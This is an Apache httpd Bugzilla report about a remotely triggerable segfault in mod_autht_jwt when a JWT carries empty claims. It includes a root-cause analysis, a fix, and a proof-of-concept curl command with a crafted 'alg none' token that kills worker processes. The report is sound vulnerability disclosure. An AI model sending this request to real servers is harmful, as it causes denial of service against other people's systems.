https://bz.apache.org/bugzilla/show_bug.cgi?id=70274

            Bug ID: 70274
           Summary: mod_autht_jwt: worker segfault (NULL deref) on a JWT
                    with empty/non-object claims
           Product: Apache httpd-2
           Version: 2.5-HEAD
          Hardware: PC
                OS: Linux
            Status: NEW
          Severity: critical
          Priority: P2
         Component: mod_autht_jwt
          Assignee: [email protected]
          Reporter: [email protected]
  Target Milestone: ---

Summary:
mod_autht_jwt: worker segfault (NULL deref) on a JWT with empty claims {}


SUMMARY
-------
A remote request carrying a JWT whose payload is an empty object {} crashes
the httpd worker process with a NULL-pointer dereference (SIGSEGV).

ROOT CAUSE
----------
check_token() in modules/aaa/mod_autht_jwt.c walks the token claims with a
do/while loop:

  961  kv = apr_json_object_first(jose->jose.jwt->claims);
  962  do {
  963      if (kv->k->type != APR_JSON_STRING) { continue; }
       ...
  998  } while ((kv = apr_json_object_next(...)));

For an empty claims object, apr_json_object_first() returns NULL, so the very
first kv->k dereferences NULL and the worker segfaults. The second claims loop
(env export) at line 1043 has the same do/while flaw.

PROOF OF CONCEPT
----------------
1. Add a JWT-protected location to an otherwise standard config (no secret
   needed to reproduce, using the 'none' verifier):

     AuthtJwtDriver openssl
     <Location "/jwt">
         AuthType bearer
         AuthName "test"
         AuthBearerProvider jwt
         AuthtJwtVerify none
         Require valid-user
     </Location>

2. Start httpd normally.

3. Send one request with a token whose payload is {} (header {"alg":"none"},
   payload {}, empty signature):

     curl -i -H "Authorization: Bearer
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.e30." \
          http://localhost/jwt

OBSERVED RESULT
---------------
- curl: empty reply from server  ->  curl: (52)
- error log:
    [core:notice] AH00051: child pid NNNN exit signal Segmentation fault (11)

Repeating the request repeatedly kills workers on demand -> denial of service.

(Variant: on a normal "AuthtJwtVerify HS256 file <secret>" location the same
crash occurs with a validly-signed {} token; via the 'none' verifier above it
is pre-authentication.)

EXPECTED
--------
Empty / non-object claims should be rejected (401 / token rejected), not crash
the worker.

IMPACT
------
Violates the Basic security model: "Processing of requests by remote untrusted
users MUST NOT crash or prematurely terminate server processes." Remotely
triggerable DoS.

FIX
---
Use a `while (kv) { ... }` loop (guard the NULL from apr_json_object_first)
instead of `do/while`, at both claim loops (lines ~961 and ~1043).

-- 
You are receiving this mail because:
You are the assignee for the bug.
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to